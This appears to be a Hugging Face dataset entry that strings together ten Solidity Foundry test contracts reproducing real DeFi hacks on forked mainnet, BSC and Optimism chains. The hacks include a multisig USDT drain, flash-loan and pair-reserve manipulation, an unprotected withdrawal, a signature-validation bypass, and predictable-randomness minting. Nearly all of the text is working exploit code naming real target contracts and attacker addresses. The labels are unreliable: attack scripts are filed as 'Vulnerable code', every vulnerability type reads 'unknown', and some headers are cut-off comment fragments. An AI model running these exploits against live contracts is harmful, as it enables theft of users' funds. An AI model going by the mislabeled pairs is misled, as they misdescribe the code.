Farseen0/scar-pairs huggingface dataset:
HIGH severity: Harmony_multisig exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IERC20 usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    MultiSig MultiSigWallet = MultiSig(payable(0x715CdDa5e9Ad30A0cEd14940F9997EE611496De6));

    address[] public owner;

    function setUp() public {
        cheat.createSelectFork("mainnet", 15_012_645); //fork mainnet at block 15012645
    }

    function testExploit() public {
        emit log_named_uint("USDT balance of attacker before Exploit", usdt.balanceOf(address(this)));
        // Mulsig Case of compromised private key.
        emit log_named_uint("How many approval required:", MultiSigWallet.required());
        cheat.prank(0xf845A7ee8477AD1FB4446651E548901a2635A915);
        // TxHash: https://etherscan.io/tx/0x27981c7289c372e601c9475e5b5466310be18ed10b59d1ac840145f6e7804c97
        bytes memory msgP1 =
            hex"fe7f61ea000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec700000000000000000000000000000000000000000000000000000913e1f5a200000000000000000000000000";
        bytes memory recipient = abi.encodePacked(address(this));
        bytes memory receiptId = hex"d48d952695ede26c0ac11a6028ab1be6059e9d104b55208931a84e99ef5479b6";
        bytes memory _message = bytes.concat(msgP1, recipient, receiptId);
        uint256 txId = MultiSigWallet.submitTransaction(
            0x2dCCDB493827E15a5dC8f8b72147E6c4A5620857, // destination
            0, // value
            _message
        );
        // unlockToken(address,uint256,address,bytes32)
        // ethToken: dac17f958d2ee523a2206206994597c13d831ec7
        // amount: 9981000000000
        // recipient: b4c79dab8f259c7aee6e5b2aa729821864227e84
        // receiptId: d48d952695ede26c0ac11a6028ab1be6059e9d104b55208931a84e99ef5479b6

        emit log_named_address(
            "2 of 5 multisig wallet, transaction first signed by:", MultiSigWallet.getConfirmations(txId)[0]
        );
        cheat.prank(0x812d8622C6F3c45959439e7ede3C580dA06f8f25);
        MultiSigWallet.confirmTransaction(txId); // Transfer 9,981,000 USDT to address(this)
        emit log_named_address(
            "2 of 5 multisig wallet, transaction second signed by:", MultiSigWallet.getConfirmations(txId)[1]
        );
        emit log_named_uint("USDT balance of attacker after Exploit", usdt.balanceOf(address(this)));
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: Optimism exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface ProxyFactory {
    function createProxy(address masterCopy, bytes calldata data) external returns (address payable proxy);
}

contract ContractTest is Test {
    ProxyFactory proxy = ProxyFactory(0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B);
    address public childcontract;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("optimism", 10_607_735); //fork optimism at block 10607735
    }

    function testExploit() public {
        while (childcontract != 0x4f3a120E72C76c22ae802D129F599BFDbc31cb81) {
            childcontract = proxy.createProxy(0xE7145dd6287AE53326347f3A6694fCf2954bcD8A, "0x");
            emit log_named_address("Created Wintermute contract", childcontract);
        }
    }
}


Vulnerability type: unknown
HIGH severity: Snood exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface IUNIPAIR is IERC20 {
    function sync() external;

    function getReserves() external returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}

contract ContractTest is Test {
    IERC20 SNOOD = IERC20(0xD45740aB9ec920bEdBD9BAb2E863519E59731941);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

    IUNIPAIR uniLP = IUNIPAIR(0x0F6b0960d2569f505126341085ED7f0342b67DAe);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 14_983_660); //fork mainnet at block 14983660
    }

    function testExploit() public {
        // address attacker = vm.addr(1);
        address attacker = 0x180ea08644b123D8A3f0ECcf2a3b45A582075538;
        emit log("before the attack");
        emit log_uint(WETH.balanceOf(attacker));
        assertTrue(WETH.balanceOf(attacker) == 0);

        uint256 balance = SNOOD.balanceOf(address(uniLP));
        require(SNOOD.transferFrom(address(uniLP), address(this), balance - 1));
        uniLP.sync();

        require(SNOOD.transfer(address(uniLP), balance - 1));

        (uint112 a, uint112 b,) = uniLP.getReserves();

        uint256 amount0Out;
        if (b * 10_000 + (balance - 1) * 9970 == 0) {
            amount0Out = 0;
        } else {
            amount0Out = ((balance - 1) * 9970 * a) / (b * 10_000 + (balance - 1) * 9970);
        }

        uniLP.swap(amount0Out, 0, attacker, "");

        emit log("WETH after the attack");
        emit log_uint(WETH.balanceOf(attacker));

        assertTrue(WETH.balanceOf(attacker) > 0);
    }
}


Vulnerability type: unknown
HIGH severity: FlippazOne exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED

pragma solidity >=0.7.0 <0.9.0;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    Flippaz FlippazOne = Flippaz(0xE85A08Cf316F695eBE7c13736C8Cc38a7Cc3e944);

    function setUp() public {
        cheat.createSelectFork("mainnet", 15_083_765); // fork mainnet at block 15083765
    }

    function testExploit() public {
        address alice = cheat.addr(1);
        emit log_named_uint("Before exploiting, ETH balance of FlippazOne Contract:", address(FlippazOne).balance);
        cheat.prank(msg.sender);
        FlippazOne.bid{value: 2 ether}();
        emit log_named_uint("After bidding, ETH balance of FlippazOne Contract:", address(FlippazOne).balance);

        //Attacker try to call ownerWithdrawAllTo() to drain all ETH from FlippazOne contract
        FlippazOne.ownerWithdrawAllTo(address(alice));
        emit log_named_uint("After exploiting, ETH balance of FlippazOne Contract:", address(FlippazOne).balance);
        emit log_named_uint("ETH balance of attacker Alice:", address(alice).balance);
    }
}


Vulnerability type: unknown
HIGH severity: LPC exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 178 BNB (~ 45,715 US$) Attacker : 0xd9936EA91a461aA4B727a7e3661bcD6cD257481c AttackContract : 0xcfb7909b7eb27b71fdc482a2883049351a1749d7 Txhash : 0x0e970ed84424d8ea51f6460ce6105ab68441d4450a80bc8d749fdf01e504ed8c @Info LPC Contract : https:

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : 178 BNB (~ 45,715 US$)
// Attacker : 0xd9936EA91a461aA4B727a7e3661bcD6cD257481c
// AttackContract : 0xcfb7909b7eb27b71fdc482a2883049351a1749d7
// Txhash : 0x0e970ed84424d8ea51f6460ce6105ab68441d4450a80bc8d749fdf01e504ed8c

// @Info
// LPC Contract : https://bscscan.com/address/0x1e813fa05739bf145c1f182cb950da7af046778d#code#L1240

// @NewsTrack
// PANews : https://www.panewslab.com/zh_hk/articledetails/uwv4sma2.html
// Beosin Alert : https://twitter.com/BeosinAlert/status/1551535854681718784

CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
address constant attacker = 0xd9936EA91a461aA4B727a7e3661bcD6cD257481c;
address constant LPC = 0x1E813fA05739Bf145c1F182CB950dA7af046778d;
address constant pancakePair = 0x2ecD8Ce228D534D8740617673F31b7541f6A0099;

contract Exploit is Test {
    function setUp() public {
        cheat.createSelectFork("bsc", 19_852_596);
        cheat.label(LPC, "LPC");
        cheat.label(pancakePair, "PancakeSwap LPC/USDT");
    }

    function testExploit() public {
        emit log_named_decimal_uint("LPC balance", IERC20(LPC).balanceOf(address(this)), 18);

        console.log("Get LPC reserve in PancakeSwap...");
        (uint256 LPC_reserve,,) = IPancakePair(pancakePair).getReserves();
        emit log_named_decimal_uint("\tLPC Reserve", LPC_reserve, 18);

        console.log("Flashloan all the LPC reserve...");
        uint256 borrowAmount = LPC_reserve - 1; // -1 to avoid trigger INSUFFICIENT_LIQUIDITY
        bytes memory data = unicode"⚡💰";
        IPancakePair(pancakePair).swap(borrowAmount, 0, address(this), data);
        console.log("Flashloan ended");

        emit log_named_decimal_uint("LPC balance", IERC20(LPC).balanceOf(address(this)), 18);
        console.log("\nNext transaction will swap LPC to USDT");
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        console.log("\tSuccessfully borrow LPC from PancakeSwap");
        uint256 LPC_balance = IERC20(LPC).balanceOf(address(this));
        emit log_named_decimal_uint("\tFlashloaned LPC", LPC_balance, 18);

        console.log("\tExploit...");
        for (uint8 i; i < 10; ++i) {
            console.log("\tSelf transfer... Loop %s", i);
            IERC20(LPC).transfer(address(this), LPC_balance);
        }

        console.log("\tPayback flashloan...");
        uint256 paybackAmount = amount0 / 90 / 100 * 10_000; // paybackAmount * 90% = amount0  --> fee = 10%
        IERC20(LPC).transfer(pancakePair, paybackAmount);
    }
}


Vulnerability type: unknown
HIGH severity: Quixotic exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface Quixotic {
    function fillSellOrder(
        address seller,
        address contractAddress,
        uint256 tokenId,
        uint256 startTime,
        uint256 expiration,
        uint256 price,
        uint256 quantity,
        uint256 createdAtBlockNumber,
        address paymentERC20,
        bytes memory signature,
        address buyer
    ) external payable;
}

contract ContractTest is Test {
    CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IERC20 op = IERC20(0x4200000000000000000000000000000000000042);
    Quixotic quixotic = Quixotic(0x065e8A87b8F11aED6fAcf9447aBe5E8C5D7502b6);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("optimism", 13_591_383); //fork optimism at block 13591383
    }

    function testExploit() public {
        cheat.prank(0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5);
        emit log_named_uint(
            "Before exploiting, attacker OP Balance:", op.balanceOf(0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5)
        );
        quixotic.fillSellOrder(
            0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5,
            0xbe81eabDBD437CbA43E4c1c330C63022772C2520,
            1,
            0,
            115_792_089_237_316_195_423_570_985_008_687_907_853_269_984_665_640_564_039_457_584_007_913_129_639_934,
            2_736_191_871_050_436_050_944,
            1,
            115_792_089_237_316_195_423_570_985_008_687_907_853_269_984_665_640_564_039_457_584_007_913_129_639_934,
            0x4200000000000000000000000000000000000042,
            hex"28bc2ff1634b13821eac466ef6875c44f1f556d00d3cafce02da07b217da395131294339d96a01922b83f8e3c67e74652198b3a6db79d7ddd48807b9ec6ae0491c",
            0x4D9618239044A2aB2581f0Cc954D28873AFA4D7B
        );
        emit log_named_uint(
            "After exploiting, attacker OP Balance:", op.balanceOf(0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5)
        );

        //issues was only check seller signature
        //require(_validateSellerSignature(sellOrder, signature),
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: ANCH exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/AnciliaInc/status/1557846766682140672 @Contract address https://bscscan.com/address/0xa4f5d4afd6b9226b3004dd276a9f778eb75f2e9e#code

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/AnciliaInc/status/1557846766682140672
// @Contract address
// https://bscscan.com/address/0xa4f5d4afd6b9226b3004dd276a9f778eb75f2e9e#code

contract ContractTest is Test {
    IERC20 ANCH = IERC20(0xA4f5d4aFd6b9226b3004dD276A9F778EB75f2e9e);
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0xaD0dA05b9C20fa541012eE2e89AC99A864CC68Bb);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    address dodo = 0xDa26Dd3c1B917Fbf733226e9e71189ABb4919E3f;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 20_302_534);
    }

    function testExploit() public {
        USDT.approve(address(Router), type(uint256).max);
        ANCH.approve(address(Router), type(uint256).max);
        DVM(dodo).flashLoan(0, 50_000 * 1e18, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        // get ANCH
        buyANCH();
        // call skim to add ANCH amount
        ANCH.transfer(address(Pair), ANCH.balanceOf(address(this)));
        for (uint256 index = 0; index < 60; index++) {
            Pair.skim(address(Pair));
        }
        Pair.skim(address(this));
        // sell ANCH
        sellANCH();
        USDT.transfer(dodo, 50_000 * 1e18);
    }

    function buyANCH() internal {
        address[] memory path = new address[](2);
        path[0] = address(USDT);
        path[1] = address(ANCH);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            USDT.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }

    function sellANCH() internal {
        address[] memory path = new address[](2);
        path[0] = address(ANCH);
        path[1] = address(USDT);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            ANCH.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }
}


Vulnerability type: unknown
HIGH severity: DDC exploit (unknown). import "./../interface.sol";

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
//import "./../interface.sol";

interface CheatCodes {
    function createSelectFork(string calldata, uint256) external returns (uint256);
}

interface IERC20 {
    function balanceOf(
        address owner
    ) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
}

interface ITokenAFeeHandler is IERC20 {
    function handleDeductFee(uint8 actionType, uint256 feeAmount, address from, address user) external;
}

interface IRouter {
    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IPair {
    function sync() external;
}

contract ContractTest is Test {
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IRouter TargetRouter = IRouter(0x22Dc25866BB53c52BAfA6cB80570FC83FC7dd125);
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    ITokenAFeeHandler DDC = ITokenAFeeHandler(0x443195AA3a4357242a7427Fc8ce5f20c1E71fcB1);
    IPair TargetPair = IPair(0x4EFdcabA42cC31cF5198ec99BDC025aff1e32Bb0);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 20_840_079);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Start] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 18);

        address(WBNB).call{value: 0.1 ether}("");
        BuyDDC();
        uint256 pairReserve = DDC.balanceOf(address(TargetPair));
        uint256 amount = pairReserve - 1;
        DDC.handleDeductFee(0, amount, address(TargetPair), address(this));
        TargetPair.sync();
        SellDDC();

        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
    }

    function BuyDDC() public {
        WBNB.approve(address(TargetRouter), ~uint256(0));
        address[] memory path = new address[](3);
        path[0] = address(WBNB);
        path[1] = address(USDT);
        path[2] = address(DDC);
        TargetRouter.swapExactTokensForTokens(WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp);
        DDC.approve(address(TargetRouter), ~uint256(0));
    }

    function SellDDC() public {
        address[] memory path = new address[](2);
        path[0] = address(DDC);
        path[1] = address(USDT);
        TargetRouter.swapExactTokensForTokens(DDC.balanceOf(address(this)), 0, path, address(this), block.timestamp);
    }
}


Vulnerability type: unknown
HIGH severity: LuckyTiger exploit (unknown). SPDX-License-Identifier: GPL-3.0

Vulnerable code:
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

import "forge-std/Test.sol";

/*
    Attacker: 0x3392c91403f09ad3b7e7243dbd4441436c7f443c
    Attack tx: https://etherscan.io/tx/0x804ff3801542bff435a5d733f4d8a93a535d73d0de0f843fd979756a7eab26af
    poc refers to: https://github.com/0xNezha/luckyHack
*/

interface NFT {
    function balanceOf(
        address _owner
    ) external view returns (uint256 balance);
}

contract luckyHack is Test {
    event Log(string);

    address owner = address(this);
    address nftAddress = 0x9c87A5726e98F2f404cdd8ac8968E9b2C80C0967;

    function setUp() public {
        vm.createSelectFork("mainnet", 15_403_430); // fork mainnet block number 15403430
        vm.deal(address(this), 3 ether);
        vm.deal(address(nftAddress), 5 ether);
    }

    function getRandom() public view returns (uint256) {
        if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) {
            return 0;
        } else {
            return 1;
        }
    }

    function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
        return this.onERC721Received.selector;
    }

    function testExploit() public {
        vm.warp(1_661_351_167);
        console.log("getRandom", getRandom());

        uint256 amount = 10;

        if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) {
            revert("Not lucky");
        }
        bytes memory data = abi.encodeWithSignature("publicMint()");

        for (uint256 i = 0; i < amount; ++i) {
            (bool status,) = address(nftAddress).call{value: 0.01 ether}(data);
            if (!status) {
                revert("error");
            } else {
                emit Log("success");
            }
        }

        console.log("NFT we got:", NFT(nftAddress).balanceOf(address(this)));
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: Qixi exploit (unknown). @KeyInfo -- Total Lost : ~6.8 BNB TX : https://app.blocksec.com/explorer/tx/bsc/0x16be4fe1c8fcab578fcb999cbc40885ba0d4ba9f3782a67bd215fb56dc579062 Attacker : https://bscscan.com/address/0x2723e1f6a9a3cd003fd395cc46882e4573cb249f Attack Contract : https://bscscan.com/address/0xb7b0fe129fefa222efd4eb1

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~6.8 BNB
// TX : https://app.blocksec.com/explorer/tx/bsc/0x16be4fe1c8fcab578fcb999cbc40885ba0d4ba9f3782a67bd215fb56dc579062
// Attacker : https://bscscan.com/address/0x2723e1f6a9a3cd003fd395cc46882e4573cb249f
// Attack Contract : https://bscscan.com/address/0xb7b0fe129fefa222efd4eb1f6bef9de339339bbb
// GUY : https://x.com/8olidity/status/1555366421693345792

contract Exploit is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IPancakePair Pair = IPancakePair(0x88fF4f62A75733C0f5afe58672121568a680DE84);
    IERC20 qixi = IERC20(0x65F11B2de17c4af7A8f70858D6CcB63AAC215697);

    function setUp() external {
        cheats.createSelectFork("bsc", 20_120_884);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);
        Pair.swap(0, WBNB.balanceOf(address(Pair)) - 1e7, address(this), bytes("0x123"));
        emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        qixi.transfer(address(Pair), 999_999_999_999_999e18);
    }
}


Vulnerability type: unknown